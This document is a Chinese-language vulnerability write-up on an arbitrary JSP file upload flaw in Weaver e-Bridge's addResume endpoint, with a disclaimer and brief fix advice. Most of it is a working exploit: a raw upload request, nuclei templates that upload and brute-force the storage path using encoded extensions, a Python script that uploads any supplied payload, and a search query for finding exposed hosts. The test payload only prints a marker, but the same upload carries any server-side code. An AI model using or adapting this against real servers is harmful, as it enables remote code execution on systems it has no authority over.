0x00、声明
本文所涉及的任何技术、信息或工具,仅供学习和参考之用,请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》。
中华人民共和国网络安全法
第二十七条 规定
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
0x01、产品概述
泛微云桥(e-Bridge)是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。截止自本手册编制之日e-Bridge已实现了腾讯微信及阿里钉钉开放接口的封装,企业可以通过e-Bridge快速实现基于微信及钉钉的移动办公应用接入。对于泛微协同办公产品e-cology更是实现了可视化的配置接入。后续e-bridge将整合更多的互联网信息化资源,让企业能够更加便利的利用开放的互联网资源进行企业信息化建设。
0x02、漏洞描述:
泛微云桥(e-Bridge) /wxclient/app/recruit/resume/addResume接口处存在任意文件上传漏洞。
0x03、资产测绘
title="泛微云桥e-Bridge"
0x04、漏洞复现
4.1、数据包测试
1、POST请求包
POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
Host: 192.168.197.166:8088
Content-Length: 361
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="poc.jsp"
Content-Type: application/octet-stream
<%
out.println("poctest!");
%>
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="poc.jsp"
Content-Type: application/octet-stream
<%
out.println("poctest!");
%>
------WebKitFormBoundaryD5Mawpg068t7pbxZ--
2、访问上传地址
http://192.168.197.166:8088/upload/202408/H/poc.js%70
注意:上传存放路径为 /upload/{年月}/{1/2位大写字母}/{上传的文件名}
例如:/upload/202408/H/poc.js%70
4.2、nuclei_POC测试
1、文件上传脚本
id: fanwei_upload
info:
name: fanwei_upload
author: kzzqwqwqwq
severity: high
description: fanwei_upload
metadata:
shodan-query: ""
requests:
- raw:
- |-
POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 422
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="poc.jsp"
Content-Type: application/octet-stream
<%
out.println("poctest!");
%>
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="poc.jsp"
Content-Type: application/octet-stream
<%
out.println("poctest!");
%>
------WebKitFormBoundaryD5Mawpg068t7pbxZ--
2、验证脚本
id: fanwei_upload_verify
info:
name: fanwei_upload_verify
author: kzzqwqwqwq
severity: high
description: fanwei_upload
metadata:
shodan-query: ""
requests:
- raw:
- |
GET /upload/202408/{{wd}}/poc.js%70 HTTP/1.1
Host: {{Hostname}}
- |
GET /upload/202408/{{wd}}/poc.%6a%73%70 HTTP/1.1
Host: {{Hostname}}
- |
GET /upload/202408/{{wd}}/poc%2e%6a%73%70 HTTP/1.1
Host: {{Hostname}}
payloads:
wd: zimu_1_2wd.txt
#attack: clusterbomb
#skip-variables-check: true
stop-at-first-match: true
max-redirects: 1
matchers:
- type: dsl
dsl:
- contains(body,"poctest") && status_code==200
condition: and
测试截图:
4.3、py脚本
import time
from urllib.request import Request, urlopen
from urllib.error import URLError, HTTPError
import datetime
import string
import sys
import requests
date = datetime.datetime.now().strftime("%Y%m")
# 生成所有可能的1或2位大写字母组合
let = [f"{a}" for a in string.ascii_uppercase] + [
f"{a}{b}" for a in string.ascii_uppercase for b in string.ascii_uppercase
]
def verify(url0):
url0 = f"{url0}/upload/{date}"
poc = ["poc.js%70", "poc.%6a%73%70", "poc%2e%6a%73%70"]
for pc in poc:
for wd in let:
url = f"{url0}/{wd}/{pc}"
req = Request(url, method="GET")
try:
with urlopen(req) as response:
rep = response.read().decode()
if "poctest" in rep:
print(f"\nSuccess!!! \nFound the vulnerability at: {url}")
return 1
except HTTPError as e:
pass # print(f"HTTPError: {e.code} for URL: {url}")
except URLError as e:
pass # print(f"URLError: {e.reason} for URL: {url}")
except Exception as e:
pass # print(f"Exception: {e} for URL: {url}")
return 0
def upload(url0, pay):
url = f"{url0}/wxclient/app/recruit/resume/addResume?fileElementId=A"
boundary = "----WebKitFormBoundaryD5Mawpg068t7pbxZ"
headers = {
"Cache-Control": "max-age=0",
"sec-ch-ua": '(Not(A:Brand";v="8", "Chromium";v="99"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "Windows",
"Upgrade-Insecure-Requests": "1",
"Origin": "null",
"Content-Type": f"multipart/form-data; boundary={boundary}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Sec-Fetch-Site": "cross-site",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
}
body = f"""------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="poc.jsp"
Content-Type: application/octet-stream
{pay}
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="poc.jsp"
Content-Type: application/octet-stream
{pay}
------WebKitFormBoundaryD5Mawpg068t7pbxZ--"""
try:
requests.post(url, headers=headers, data=body, timeout=15)
except requests.exceptions.RequestException as e1:
pass
# print(rep)
def poc(url):
pay = "poctest!"
upload(url, pay)
time.sleep(2)
if verify(url):
return 1
return 0
if __name__ == "__main__":
url = "http://192.168.197.166:8088"
pay = "poctest!"
upload(url, pay)
time.sleep(2)
verify(url)
0x05、修复建议
临时缓解方案
1.白名单检查文件扩展名
2.上传文件的存储目录禁用执行权限
3.内容检测要求
4.隐藏上传文件路径
升级修复方案
官方已发布新版本修复漏洞,建议尽快访问官网或联系官方售后支持获取版本升级安装包或补丁。